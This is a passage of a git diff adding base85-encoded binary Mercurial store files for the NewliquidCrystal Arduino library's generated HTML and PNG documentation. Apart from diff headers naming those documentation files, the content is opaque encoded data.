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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal.html.i new file mode 100644 index 0000000000000000000000000000000000000000..a859ab032c90c6102ceec2fd8015bed2b9113629 GIT binary patch literal 9903 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 DTZqBX literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal.png.i new file mode 100644 index 0000000000000000000000000000000000000000..e3725ad666240f9ef256a5e511a0cf894bee5b76 GIT binary patch literal 983 zcmZQzWME_f1I9!K2F3&kn_d{v;@SUDHDIc=Gr-TC zmrIHZ$m8|&a0vp^p+FqK!3-qhpPjr7q$C1-LR^6c0+}z~d@b!iGy%v0;{yi{uy)>& z2XZ+|g8YIRV78tLF#?Lc_jGX#sbG9N_aa}j0*`BT`l0{zpX79wo}FW{Byjp|34tZ; zL3%&5yxUHGnw7sK&ZTuP!-Z47{DK#{u3a7wePW~ME7_HsO#{AKhOXbk?y*Ao1#c(8R>1me7f_e0rz;zNf`-TX9RA^gq_` zFSk!>Um+mqu>0YygIDdi6_~WkR;-wFD;8Nn;i{E8J%P#~y z6f^PS?PE7y@LTxPEt3Z;?(W&9Dq*~3c3iE|^`9ZkdPn-0%2oe7?tB|u?%oqr?LN`` z;o=pN-`EaT3oErgdjA>dbp}sYKbLh*2~8k2C~AP@Hz585VgbQc5CICU(_c+y$*n9a z4c2ful^MBRb(2A17Dx^Wa6lrK@fA=EIgUEOakQ{Id?rwW%s66fgvQa`yG6|k0;~@< zpXT}fFF(fhu>YcoD!V6pK3`%P6ksQ~eQ#SwN3}v)+PQ_lWVi0Qcq{X8TH5oSA^p7i zp{LGQMfB(XO-tjS8O|LkZM^xj&->Tg?(H))wmx|!YNgzY`Bxie-h92#%hX3y@FO3C zj~a7BwbPY3$~Oc`9hq-Pd|jT^pcT3*WM$COU-?(31Qqd5TD7WpMV;r=U#CCaoNcvi zRn?Ttty@k%ytZo9ytJ@fZ@Jy8R`oCZ6?=6zTi(}~QR`Q&(r?$gYGAr_${uEh$tM{e z%o8wu&SB;fdx62s?e9vd1zuCZ=KqThbva@yz)-+@55KBs%*F09j>cbG|k(p^!4{wZ}S>T?!UWs{MCkQg-+XL zOAF@wp1EuP!Cj(vnfI>d6IL%zsJB17Z=2MME2nF7`vcA{y#H$J{WEXts(DMi_pESW qusE~X`(D`mxR2|qzAiuUzr}uOS4YKjewoj%8IpZ&k)Rldr5XUtNV8D@ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..ee2ef54830cd49f690b8eb31af5e4eb465620c20 GIT binary patch literal 6573 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 